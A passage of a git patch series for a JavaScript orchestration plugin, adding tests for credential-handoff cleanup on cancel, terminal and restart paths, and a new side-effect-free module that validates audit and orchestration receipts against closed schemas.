assert.equal(cancelled.cleaned, false); + assert.deepEqual([...cancelled.unresolved], [ + { assignment_id: ASSIGNMENT_ID_A, code: 'dispatcher_stop_failed' }, + ]); + assertNoSecret(cancelled); + for (const lane of stopReceipt.lanes) { + await expectMissing(handoffPathFromProcessIdentity(lane.identity)); + } + + const terminalDispatcher = createRecordingDispatcher({ failStopFor: ASSIGNMENT_ID_B }); + const terminalReceipt = await orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-terminal-fail', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: terminalDispatcher.dispatch }, + ); + const terminal = await completeRunDispatchV1(terminalReceipt); + assert.equal(terminal.status, 'terminal'); + assert.equal(terminal.cleaned, false); + assert.deepEqual([...terminal.unresolved], [ + { assignment_id: ASSIGNMENT_ID_B, code: 'dispatcher_stop_failed' }, + ]); + assertNoSecret(terminal); + + const restartDispatcher = createRecordingDispatcher(); + const restartReceipt = await orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-restart-fail', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: restartDispatcher.dispatch }, + ); + const failedLane = restartReceipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID_A); + const sibling = restartReceipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID_B); + const injected = await injectHandoffUnlinkFailure(failedLane.identity); + try { + const restarted = await restartRunDispatchV1(restartReceipt, { + dispatch: restartDispatcher.dispatch, + }); + assert.equal(restarted.restarted, false); + assert.equal(restarted.cleaned, false); + assert.deepEqual([...restarted.unresolved], [ + { assignment_id: ASSIGNMENT_ID_A, code: 'handoff_cleanup_failed' }, + ]); + assertNoSecret(restarted); + assert.equal(restartDispatcher.calls.length, 2); + await expectMissing(handoffPathFromProcessIdentity(sibling.identity)); + } finally { + await restoreInjectedHandoffUnlinkFailure(injected.filePath); + } + } finally { + await repo.cleanup(); + } +}); + test('content-free errors never echo secrets, paths, or denied operations', async () => { const repo = await createLinearRepo('p31-redact-'); try { diff --git a/plugins/codex-co-engineer/test/r1-run-orchestration.test.mjs b/plugins/codex-co-engineer/test/r1-run-orchestration.test.mjs index 6d19601..ddd835e 100644 --- a/plugins/codex-co-engineer/test/r1-run-orchestration.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-orchestration.test.mjs @@ -217,6 +217,8 @@ test('cancel, terminal, and restart clean credential handoffs and stop children' const cancelled = await cancelRunDispatchV1(receipt); assert.equal(cancelled.status, 'cancelled'); assert.equal(cancelled.cleaned, true); + assert.equal(cancelled.missing, false); + assert.deepEqual([...cancelled.unresolved], []); assert.deepEqual(dispatcher.stopped, identities); for (const identity of identities) { await expectMissing(handoffPathFromProcessIdentity(identity)); @@ -230,6 +232,8 @@ test('cancel, terminal, and restart clean credential handoffs and stop children' const restarted = await restartRunDispatchV1(again, { dispatch: restartDispatcher.dispatch }); assert.equal(restarted.status, 'dispatched'); assert.equal(restarted.restarted, true); + assert.equal(restarted.cleaned, false); + assert.deepEqual([...restarted.unresolved], []); assert.equal(restartDispatcher.stopped.length, identities.length); for (const identity of again.lanes.map((lane) => lane.identity)) { const metadata = await lstat(handoffPathFromProcessIdentity(identity)); @@ -237,6 +241,8 @@ test('cancel, terminal, and restart clean credential handoffs and stop children' } const terminal = await completeRunDispatchV1(again); assert.equal(terminal.status, 'terminal'); + assert.equal(terminal.cleaned, true); + assert.deepEqual([...terminal.unresolved], []); for (const identity of again.lanes.map((lane) => lane.identity)) { await expectMissing(handoffPathFromProcessIdentity(identity)); } @@ -275,6 +281,46 @@ test('dispatch failure cleans any created handoff and does not leave a workspace } }); +test('concurrent identical run_id and assignment_id keep distinct handoff identities', async () => { + const repo = await createLinearRepo('p31-collide-'); + const firstDispatcher = createRecordingDispatcher(); + const secondDispatcher = createRecordingDispatcher(); + try { + const manifest = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-collide', + }); + const [first, second] = await Promise.all([ + orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: firstDispatcher.dispatch }, + ), + orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: secondDispatcher.dispatch }, + ), + ]); + const firstIdentities = first.lanes.map((lane) => lane.identity); + const secondIdentities = second.lanes.map((lane) => lane.identity); + assert.equal(new Set([...firstIdentities, ...secondIdentities]).size, 4); + for (const identity of [...firstIdentities, ...secondIdentities]) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + const cancelled = await cancelRunDispatchV1(first); + assert.equal(cancelled.cleaned, true); + for (const identity of firstIdentities) { + await expectMissing(handoffPathFromProcessIdentity(identity)); + } + for (const identity of secondIdentities) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + await cancelRunDispatchV1(second); + } finally { + await repo.cleanup(); + } +}); + test('worker remote mutation stays denied at the orchestration boundary', () => { for (const operation of DENIED_OPERATIONS) { try { From a46f12aef6528ce5334ce6bcdad3c136b5202933 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 18:34:21 +0000 Subject: [PATCH 109/151] feat(run): add side-effect-free RunApiBoundaryV1 adapter Project already-produced P30 audit and P31 orchestration receipts into a detached content-free result without calling audit, orchestration, Git, filesystem, process, network, provider, or credential mechanisms. --- .../mcp/v3/run-api-boundary.mjs | 1260 +++++++++++++++++ 1 file changed, 1260 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs new file mode 100644 index 0000000..36bedb5 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs @@ -0,0 +1,1260 @@ +// RunApiBoundaryV1 — side-effect-free projection of already-produced P30 +// protected-ref audit receipts and P31 run-orchestration receipts (P32). +// +// Additive v3 adapter. It consumes values only: it does not call P30 audit +// functions, P31 prepare/dispatch/cancel/restart, Git, filesystem, process, +// network, provider, credential, handoff, workspace, reservation, +// supervisor, server, or release mechanisms. Matching run/base identity and +// declared lane/provider identity are bound without broadening either +// upstream authority. Failed/ref-drift audits and non-clean P31 lifecycles +// remain failed/unresolved. Results are detached, deeply frozen, +// content-free, and JSON-serializable. No public MCP tool/server cutover, +// supervisor change, command execution, release decision, Gate A claim, or +// remote mutation authority. + +import { Buffer as NodeBuffer } from 'node:buffer'; + +import { + DISCREPANCY_CODES, + DISCREPANCY_KINDS, + DISCREPANCY_STATUSES, + FACT_AUTHORITIES, + FACT_CODES, + FACT_KINDS, + FACT_METHODS, + FACT_STATUSES, + MAX_DURATION_MS, + MAX_SEQUENCE, +} from './evidence-bundle.mjs'; +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + capturedTest, + isKnownProvider, + isModelId, +} from './grammar.mjs'; +import { REF_CLASS_VALUES } from './git-authority.mjs'; +import { GIT_IDENTITY_SCHEMA_ID } from './protected-identity.mjs'; +import { + COMPARISON_KEYS as PROTECTED_REF_AUDIT_COMPARISON_KEYS, + MAX_AUDIT_REFS, + PROTECTED_REF_AUDIT_CHECKS, + PROTECTED_REF_AUDIT_FAILING_CODES, + PROTECTED_REF_AUDIT_FINDING_CODES, + PROTECTED_REF_AUDIT_REPOSITORY_KINDS, + PROTECTED_REF_AUDIT_SCHEMA_ID, + PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, + PROTECTED_REF_AUDIT_STATUSES, + PROTECTED_REF_AUDIT_STORAGE_CLASSES, + PROTECTED_REF_AUDIT_VERSION, + RECEIPT_KEYS as PROTECTED_REF_AUDIT_RECEIPT_KEYS, +} from './protected-ref-audit.mjs'; +import { + RunContractV1Error, + assertBaseSha, + assertRunId, + isAssignmentId, + isSha40, +} from './run-manifest.mjs'; +import { + ORCHESTRATION_INTENTS, + RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS, + RUN_ORCHESTRATION_CHECKS, + RUN_ORCHESTRATION_ERROR_CODES, + RUN_ORCHESTRATION_SCHEMA_ID, + RUN_ORCHESTRATION_SIDE_EFFECTS, + RUN_ORCHESTRATION_VERSION, +} from './run-orchestration.mjs'; +import { + PREFLIGHT_MAX_CHILDREN, + PREFLIGHT_MIN_CHILDREN, + RUN_PREFLIGHT_CHECKS, + RUN_PREFLIGHT_ERROR_CODES, + RUN_PREFLIGHT_SCHEMA_ID, + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + RUN_PREFLIGHT_VERSION, +} from './run-preflight.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_API_BOUNDARY_SCHEMA_ID = 'codex-co-engineer.run-api-boundary.v1'; +export const RUN_API_BOUNDARY_VERSION = 1; + +export const MAX_API_OBJECT_KEYS = 32; +export const MAX_API_KEY_BYTES = 128; +export const MAX_API_STRING_BYTES = 256; +export const MAX_DROPPED_STRING_BYTES = 4096; +export const MAX_API_COLLECTION = MAX_AUDIT_REFS; +export const MAX_API_LANES = PREFLIGHT_MAX_CHILDREN; + +export const RUN_API_BOUNDARY_STATUSES = capturedFreeze([ + 'denied', 'failed', 'ready', 'unresolved', +]); +export const RUN_API_BOUNDARY_ORCHESTRATION_KINDS = capturedFreeze(['denial', 'receipt']); +export const RUN_API_BOUNDARY_CHECKS = capturedFreeze([ + 'request_quarantine', + 'p30_receipt_schema', + 'p31_receipt_or_denial_schema', + 'identity_binding', + 'negative_evidence_preservation', + 'content_free_projection', + 'side_effect_free_adapter', + 'remote_mutation_denied', +]); +export const RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS = capturedFreeze([ + 'audit_executed', + 'orchestration_executed', + 'git_invoked', + 'filesystem_invoked', + 'process_invoked', + 'network_invoked', + 'provider_invoked', + 'credentials_accessed', + 'env_accessed', + 'argv_accessed', + 'handoff_accessed', + 'workspace_created', + 'reservation_held', + 'remote_mutated', + 'supervisor_cutover', + 'public_api_exposed', + 'release_decided', + 'gate_a_claimed', +]); +export const RUN_API_BOUNDARY_INVARIANT_KEYS = capturedFreeze([ + 'read_only_audit', + 'credentials_not_projected', + 'refs_not_mutated', + 'workspace_not_created', + 'reservation_not_held', + 'provider_isolated', + 'cleanup_truthful', + 'remote_mutated', + 'public_api_exposed', + 'gate_a_claimed', + 'release_decided', + 'supervisor_cutover', +]); + +export const INPUT_ALLOWED_KEYS = capturedFreeze([ + 'audit', 'identity', 'lifecycle', 'orchestration', 'schema', 'version', +]); +export const INPUT_REQUIRED_KEYS = capturedFreeze([ + 'audit', 'identity', 'orchestration', 'schema', 'version', +]); +export const IDENTITY_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'provider', 'run_id', +]); +export const IDENTITY_REQUIRED_KEYS = capturedFreeze(['base_sha', 'run_id']); +export const AUDIT_FINDING_KEYS = capturedFreeze([ + 'code', 'default_branch_target', 'protected', 'ref_class', 'storage', +]); +export const AUDIT_OBSERVATION_KEYS = capturedFreeze([ + 'command_count', 'compared_count', 'duration_ms', 'loose_count', + 'missing_count', 'packed_count', 'symbolic_count', +]); +export const AUDIT_FACT_ALLOWED_KEYS = capturedFreeze([ + 'artifact_digests', 'assignment_id', 'authority', 'code', 'duration_ms', + 'exit_code', 'fact_id', 'fact_kind', 'input_digest', 'method', + 'output_digest', 'payload', 'payload_digest', 'recorded_at', 'run_id', + 'sequence', 'status', 'subject', 'truncated', +]); +export const AUDIT_FACT_REQUIRED_KEYS = capturedFreeze([ + 'artifact_digests', 'assignment_id', 'authority', 'code', 'duration_ms', + 'exit_code', 'fact_id', 'fact_kind', 'input_digest', 'method', + 'output_digest', 'payload', 'run_id', 'sequence', 'status', 'subject', + 'truncated', +]); +export const AUDIT_FACT_PAYLOAD_KEYS = capturedFreeze(['base_sha', 'head_sha']); +export const AUDIT_DISCREPANCY_ALLOWED_KEYS = capturedFreeze([ + 'artifact_digests', 'assignment_id', 'claim_ids', 'code', 'discrepancy_id', + 'discrepancy_kind', 'fact_ids', 'recorded_at', 'run_id', 'sequence', 'status', +]); +export const AUDIT_DISCREPANCY_REQUIRED_KEYS = capturedFreeze([ + 'artifact_digests', 'assignment_id', 'claim_ids', 'code', 'discrepancy_id', + 'discrepancy_kind', 'fact_ids', 'run_id', 'sequence', 'status', +]); +export const PREFLIGHT_RECEIPT_KEYS = capturedFreeze([ + 'capacity', 'checks', 'children', 'git_identity', 'repository', 'run_id', + 'schema', 'side_effects', 'status', 'version', +]); +export const PREFLIGHT_CHILD_KEYS = capturedFreeze([ + 'assignment_ids', 'concurrency', 'count', 'independent', 'maximum', + 'minimum', 'scope_pair_checks', +]); +export const PREFLIGHT_CAPACITY_KEYS = capturedFreeze([ + 'available_ram_bytes', 'cpu_ok', 'cpu_parallelism', 'ram_ok', + 'required_ram_bytes', 'source', 'total_ram_bytes', +]); +export const PREFLIGHT_REPOSITORY_KEYS = capturedFreeze([ + 'base_sha', 'git_dir', 'object_type', 'path', +]); +export const GIT_IDENTITY_ALLOWED_KEYS = capturedFreeze([ + 'base_sha', 'digest', 'repository_path', 'schema', +]); +export const ORCHESTRATION_RECEIPT_KEYS = capturedFreeze([ + 'checks', 'intent', 'lanes', 'preflight', 'run_id', 'schema', + 'side_effects', 'status', 'version', +]); +export const ORCHESTRATION_LANE_KEYS = capturedFreeze([ + 'assignment_id', 'credential_present', 'identity', 'model', 'projected_keys', + 'provider', 'status', +]); +export const ORCHESTRATION_DENIAL_KEYS = capturedFreeze([ + 'code', 'run_id', 'schema', 'version', +]); +export const ORCHESTRATION_DENIAL_REQUIRED_KEYS = capturedFreeze([ + 'code', 'schema', 'version', +]); +export const LIFECYCLE_ALLOWED_KEYS = capturedFreeze([ + 'cleaned', 'missing', 'restarted', 'side_effects', 'status', 'unresolved', +]); +export const LIFECYCLE_REQUIRED_KEYS = capturedFreeze([ + 'cleaned', 'status', 'unresolved', +]); +export const LIFECYCLE_STATUSES = capturedFreeze(['cancelled', 'dispatched', 'terminal']); +export const LIFECYCLE_UNRESOLVED_KEYS = capturedFreeze(['assignment_id', 'code']); +export const LIFECYCLE_UNRESOLVED_CODES = capturedFreeze([ + 'dispatcher_stop_failed', 'handoff_cleanup_failed', +]); +export const ORCHESTRATION_RECEIPT_STATUSES = capturedFreeze(['dispatched', 'prepared']); +export const ORCHESTRATION_LANE_STATUSES = capturedFreeze([ + 'projected', 'selection_unresolved', +]); +export const PREFLIGHT_CAPACITY_SOURCES = capturedFreeze(['ambient', 'injected']); +export const COMPARISON_OUTCOMES = capturedFreeze([ + 'aliased_ref', 'match', 'missing_ref', 'moved_ref', 'symbolic_ref', +]); +export const RESULT_KEYS = capturedFreeze([ + 'assignment_id', 'audit', 'base_sha', 'checks', 'invariants', 'lifecycle', + 'orchestration', 'provider', 'run_id', 'schema', 'side_effects', 'status', + 'version', +]); + +export const RUN_API_BOUNDARY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'bounds_exceeded', + 'exotic_prototype_denied', 'identity_mismatch', 'invalid_format', + 'invalid_type', 'missing_key', 'non_enumerable_property_denied', + 'out_of_range', 'own_undefined_denied', 'proxy_denied', 'symbol_key_denied', + 'unknown_key', 'value_depth_exceeded', +]); + +const DEFINE = Object.defineProperty; +const OBJECT_IS = Object.is; +const IS_INT = Number.isSafeInteger; +const STRING = String; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const IS_ARRAY = capturedIsArray; +const OWN_KEYS = capturedOwnKeys; +const SET_CTOR = Set; +const SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const SHA256_LABELED_PATTERN = /^sha256:[0-9a-f]{64}$/u; +const RECORD_ID_PATTERN = /^[a-z][a-z0-9-]{0,63}$/u; +const SUBJECT_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:/-]{0,127}$/u; +const LANE_IDENTITY_PATTERN = /^[0-9a-f]{32}$/u; +const PROJECTED_KEY_PATTERN = /^[A-Z][A-Z0-9_]{0,63}$/u; +const TIMESTAMP_PATTERN = /^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}Z$/u; +const DENIAL_CODES = capturedFreeze([ + ...RUN_PREFLIGHT_ERROR_CODES, + ...RUN_ORCHESTRATION_ERROR_CODES, +]); +const MSG = capturedFreeze({ + accessor_property_denied: 'RunApiBoundaryV1 denies accessor inputs.', + aliased_reference_denied: 'RunApiBoundaryV1 denies aliased inputs.', + bounds_exceeded: 'RunApiBoundaryV1 exceeded a closed projection bound.', + exotic_prototype_denied: 'RunApiBoundaryV1 denies exotic prototypes.', + identity_mismatch: 'RunApiBoundaryV1 requires matching run, base, lane, and provider identity.', + invalid_format: 'RunApiBoundaryV1 rejected a value that violates a closed grammar.', + invalid_type: 'RunApiBoundaryV1 rejected a non-JSON projection value.', + missing_key: 'RunApiBoundaryV1 requires every canonical projection key.', + non_enumerable_property_denied: 'RunApiBoundaryV1 denies non-enumerable properties.', + out_of_range: 'RunApiBoundaryV1 rejected a value outside closed bounds.', + own_undefined_denied: 'RunApiBoundaryV1 denies own undefined values.', + proxy_denied: 'RunApiBoundaryV1 denies Proxy inputs.', + symbol_key_denied: 'RunApiBoundaryV1 denies symbol keys.', + unknown_key: 'RunApiBoundaryV1 rejects keys outside the closed vocabulary.', + value_depth_exceeded: 'RunApiBoundaryV1 rejected nested input that exceeds closed depth.', +}); +const CLOSURE_REMAP = capturedFreeze({ + accessor_property_denied: 'accessor_property_denied', + aliased_reference_denied: 'aliased_reference_denied', + exotic_prototype_denied: 'exotic_prototype_denied', + invalid_array: 'invalid_type', + invalid_json_type: 'invalid_type', + invalid_json_value: 'invalid_type', + invalid_type: 'invalid_type', + non_enumerable_property_denied: 'non_enumerable_property_denied', + own_undefined_denied: 'own_undefined_denied', + proxy_denied: 'proxy_denied', + symbol_key_denied: 'symbol_key_denied', + value_depth_exceeded: 'value_depth_exceeded', +}); + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (!capturedHasOwn(values, key)) continue; + DEFINE(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function deny(code, pathLabel) { + fail(code, pathLabel, MSG[code] ?? MSG.invalid_format); +} + +function remapClosure(error, pathLabel) { + if (error instanceof RunContractV1Error) { + const mapped = CLOSURE_REMAP[error.code]; + if (typeof mapped === 'string') deny(mapped, pathLabel); + } + deny('invalid_type', pathLabel); +} + +function assertClosedObject(input, allowed, pathLabel) { + if (input === undefined || input === null) deny('invalid_type', pathLabel); + if (typeof input === 'object' || typeof input === 'function') { + try { assertNotProxy(input, pathLabel); } catch (error) { remapClosure(error, pathLabel); } + } + if (typeof input !== 'object') deny('invalid_type', pathLabel); + if (IS_ARRAY(input)) deny('invalid_type', pathLabel); + try { + assertDirectJsonClosure(input, pathLabel); + } catch (error) { remapClosure(error, pathLabel); } + let keys; + try { keys = OWN_KEYS(input); } catch { deny('invalid_type', pathLabel); } + if (keys.length > MAX_API_OBJECT_KEYS) deny('bounds_exceeded', pathLabel); + const allowedSet = new SET_CTOR(allowed); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (typeof key !== 'string' || BYTE_LENGTH(key, 'utf8') > MAX_API_KEY_BYTES) { + deny('bounds_exceeded', pathLabel); + } + if (!allowedSet.has(key)) deny('unknown_key', pathLabel); + } + return input; +} + +function requireKeys(input, keys, pathLabel) { + for (let i = 0; i < keys.length; i += 1) { + if (!hasOwn(input, keys[i])) deny('missing_key', pathLabel); + } +} + +function exactKeySet(input, keys, pathLabel) { + requireKeys(input, keys, pathLabel); + const owned = OWN_KEYS(input); + if (owned.length !== keys.length) deny('unknown_key', pathLabel); +} + +function ownString(input, key, pathLabel, maxBytes = MAX_API_STRING_BYTES) { + const value = ownDataValue(input, key, pathLabel); + if (typeof value !== 'string') deny('invalid_type', pathLabel); + if (BYTE_LENGTH(value, 'utf8') > maxBytes) deny('bounds_exceeded', pathLabel); + return value; +} + +function optionalString(input, key, pathLabel, maxBytes = MAX_API_STRING_BYTES) { + if (!hasOwn(input, key)) return undefined; + return ownString(input, key, pathLabel, maxBytes); +} + +function ownBoolean(input, key, pathLabel) { + const value = ownDataValue(input, key, pathLabel); + if (value !== true && value !== false) deny('invalid_type', pathLabel); + return value; +} + +function optionalBoolean(input, key, pathLabel) { + if (!hasOwn(input, key)) return undefined; + return ownBoolean(input, key, pathLabel); +} + +function ownEnum(input, key, allowed, pathLabel) { + const value = ownString(input, key, pathLabel); + if (!capturedIncludes(allowed, value)) deny('invalid_format', pathLabel); + return value; +} + +function ownInt(input, key, pathLabel, min, max) { + const value = ownDataValue(input, key, pathLabel); + if (typeof value !== 'number' || !IS_INT(value) || value < min || value > max) { + deny('out_of_range', pathLabel); + } + return value; +} + +function ownArray(input, key, pathLabel, maxLength) { + const value = ownDataValue(input, key, pathLabel); + try { assertNotProxy(value, pathLabel); } catch (error) { remapClosure(error, pathLabel); } + if (!IS_ARRAY(value)) deny('invalid_type', pathLabel); + if (value.length > maxLength) deny('bounds_exceeded', pathLabel); + return value; +} + +function ownSha256(input, key, pathLabel) { + const value = ownString(input, key, pathLabel); + if (!capturedTest(SHA256_PATTERN, value)) deny('invalid_format', pathLabel); + return value; +} + +function ownRecordId(input, key, pathLabel) { + const value = ownString(input, key, pathLabel); + if (!capturedTest(RECORD_ID_PATTERN, value)) deny('invalid_format', pathLabel); + return value; +} + +function bindRunId(value, pathLabel) { + try { + assertRunId(value, pathLabel); + } catch (error) { + if (error instanceof RunContractV1Error) deny('invalid_format', pathLabel); + deny('invalid_type', pathLabel); + } + return value; +} + +function bindBaseSha(value, pathLabel) { + try { + assertBaseSha(value, pathLabel); + } catch (error) { + if (error instanceof RunContractV1Error) deny('invalid_format', pathLabel); + deny('invalid_type', pathLabel); + } + return value; +} + +function bindAssignmentId(value, pathLabel) { + if (!isAssignmentId(value)) deny('invalid_format', pathLabel); + return value; +} + +function sameIdentity(left, right, pathLabel) { + if (!OBJECT_IS(left, right)) deny('identity_mismatch', pathLabel); +} + +function emptySideEffects() { + const values = {}; + for (let i = 0; i < RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS.length; i += 1) { + values[RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS[i]] = false; + } + return freezeRecord(RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS, values); +} + +function parseBooleanMap(input, keys, alwaysFalse, pathLabel) { + assertClosedObject(input, keys, pathLabel); + exactKeySet(input, keys, pathLabel); + const values = {}; + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + const value = ownBoolean(input, key, pathLabel); + if (capturedIncludes(alwaysFalse, key) && value !== false) deny('invalid_format', pathLabel); + values[key] = value; + } + return freezeRecord(keys, values); +} + +function parseStringList(input, allowedPattern, pathLabel, maxLength, maxBytes = MAX_API_STRING_BYTES) { + if (input.length > maxLength) deny('bounds_exceeded', pathLabel); + const seen = new SET_CTOR(); + const values = []; + for (let i = 0; i < input.length; i += 1) { + const itemPath = pathLabel; + const value = ownDataValue(input, STRING(i), itemPath); + if (typeof value !== 'string') deny('invalid_type', itemPath); + if (BYTE_LENGTH(value, 'utf8') > maxBytes) deny('bounds_exceeded', itemPath); + if (allowedPattern && !capturedTest(allowedPattern, value)) deny('invalid_format', itemPath); + if (seen.has(value)) deny('invalid_format', itemPath); + seen.add(value); + values.push(value); + } + return capturedFreeze(values); +} + +function parseEnumList(input, allowed, pathLabel, maxLength) { + if (input.length > maxLength) deny('bounds_exceeded', pathLabel); + const seen = new SET_CTOR(); + const values = []; + for (let i = 0; i < input.length; i += 1) { + const value = ownDataValue(input, STRING(i), pathLabel); + if (typeof value !== 'string') deny('invalid_type', pathLabel); + if (!capturedIncludes(allowed, value)) deny('invalid_format', pathLabel); + if (seen.has(value)) deny('invalid_format', pathLabel); + seen.add(value); + values.push(value); + } + return capturedFreeze(values); +} + +function parseIdentity(input) { + const pathLabel = 'identity'; + assertClosedObject(input, IDENTITY_ALLOWED_KEYS, pathLabel); + requireKeys(input, IDENTITY_REQUIRED_KEYS, pathLabel); + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + const baseSha = bindBaseSha(ownString(input, 'base_sha', pathLabel), pathLabel); + const values = { run_id: runId, base_sha: baseSha }; + if (hasOwn(input, 'assignment_id')) { + values.assignment_id = bindAssignmentId(ownString(input, 'assignment_id', pathLabel), pathLabel); + } + if (hasOwn(input, 'provider')) { + const provider = ownString(input, 'provider', pathLabel); + if (!isKnownProvider(provider)) deny('invalid_format', pathLabel); + values.provider = provider; + } + return freezeRecord(IDENTITY_ALLOWED_KEYS, values); +} + +function parseFactPayload(input, pathLabel, expectedBase) { + assertClosedObject(input, AUDIT_FACT_PAYLOAD_KEYS, pathLabel); + requireKeys(input, AUDIT_FACT_PAYLOAD_KEYS, pathLabel); + const baseSha = bindBaseSha(ownString(input, 'base_sha', pathLabel), pathLabel); + sameIdentity(baseSha, expectedBase, pathLabel); + const headSha = ownString(input, 'head_sha', pathLabel); + if (!isSha40(headSha)) deny('invalid_format', pathLabel); + return freezeRecord(AUDIT_FACT_PAYLOAD_KEYS, { base_sha: baseSha, head_sha: headSha }); +} + +function parseDigestList(input, pathLabel) { + if (input.length > MAX_API_COLLECTION) deny('bounds_exceeded', pathLabel); + const values = []; + for (let i = 0; i < input.length; i += 1) { + const value = ownDataValue(input, STRING(i), pathLabel); + if (typeof value !== 'string') deny('invalid_type', pathLabel); + if (!capturedTest(SHA256_LABELED_PATTERN, value) && !capturedTest(SHA256_PATTERN, value)) { + deny('invalid_format', pathLabel); + } + values.push(value); + } + return capturedFreeze(values); +} + +function parseFact(input, pathLabel, identity) { + assertClosedObject(input, AUDIT_FACT_ALLOWED_KEYS, pathLabel); + requireKeys(input, AUDIT_FACT_REQUIRED_KEYS, pathLabel); + const factKind = ownEnum(input, 'fact_kind', FACT_KINDS, pathLabel); + const status = ownEnum(input, 'status', FACT_STATUSES, pathLabel); + const code = ownEnum(input, 'code', FACT_CODES, pathLabel); + const authority = ownEnum(input, 'authority', FACT_AUTHORITIES, pathLabel); + const method = ownEnum(input, 'method', FACT_METHODS, pathLabel); + if (factKind !== 'git_identity' || authority !== 'platform_git' + || method !== 'protected_ref_snapshot_compare' || code !== 'host_observed') { + deny('invalid_format', pathLabel); + } + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + sameIdentity(runId, identity.run_id, pathLabel); + const assignmentId = bindAssignmentId(ownString(input, 'assignment_id', pathLabel), pathLabel); + sameIdentity(assignmentId, identity.assignment_id, pathLabel); + const truncated = ownBoolean(input, 'truncated', pathLabel); + if (truncated === true && status === 'verified') deny('invalid_format', pathLabel); + const exitRaw = ownDataValue(input, 'exit_code', pathLabel); + let exitCode = exitRaw; + if (exitRaw !== null) { + if (typeof exitRaw !== 'number' || !IS_INT(exitRaw) || exitRaw < 0 || exitRaw > 255) { + deny('out_of_range', pathLabel); + } + exitCode = exitRaw; + } + const payload = parseFactPayload(ownDataValue(input, 'payload', pathLabel), pathLabel, identity.base_sha); + if (hasOwn(input, 'payload_digest')) ownSha256(input, 'payload_digest', pathLabel); + if (hasOwn(input, 'recorded_at')) { + const recordedAt = ownString(input, 'recorded_at', pathLabel); + if (!capturedTest(TIMESTAMP_PATTERN, recordedAt)) deny('invalid_format', pathLabel); + } + return freezeRecord(['authority', 'code', 'fact_kind', 'method', 'status', 'truncated'], { + fact_kind: factKind, + status, + code, + authority, + method, + truncated, + // exit_code is validated so forged verified/failed pairings cannot hide + // behind an impossible code, then dropped from the public summary. + _exit_code: exitCode, + _sequence: ownInt(input, 'sequence', pathLabel, 0, MAX_SEQUENCE), + _duration_ms: ownInt(input, 'duration_ms', pathLabel, 0, MAX_DURATION_MS), + _fact_id: ownRecordId(input, 'fact_id', pathLabel), + _subject: (() => { + const subject = ownString(input, 'subject', pathLabel); + if (!capturedTest(SUBJECT_PATTERN, subject)) deny('invalid_format', pathLabel); + return subject; + })(), + _input_digest: ownSha256(input, 'input_digest', pathLabel), + _output_digest: ownSha256(input, 'output_digest', pathLabel), + _artifact_digests: parseDigestList(ownArray(input, 'artifact_digests', pathLabel, MAX_API_COLLECTION), pathLabel), + _payload: payload, + }); +} + +function projectFact(parsed) { + return freezeRecord( + ['authority', 'code', 'fact_kind', 'method', 'status', 'truncated'], + { + fact_kind: parsed.fact_kind, + status: parsed.status, + code: parsed.code, + authority: parsed.authority, + method: parsed.method, + truncated: parsed.truncated, + }, + ); +} + +function parseDiscrepancy(input, pathLabel, identity) { + assertClosedObject(input, AUDIT_DISCREPANCY_ALLOWED_KEYS, pathLabel); + requireKeys(input, AUDIT_DISCREPANCY_REQUIRED_KEYS, pathLabel); + const kind = ownEnum(input, 'discrepancy_kind', DISCREPANCY_KINDS, pathLabel); + const status = ownEnum(input, 'status', DISCREPANCY_STATUSES, pathLabel); + const code = ownEnum(input, 'code', DISCREPANCY_CODES, pathLabel); + if (kind !== 'security' || code !== 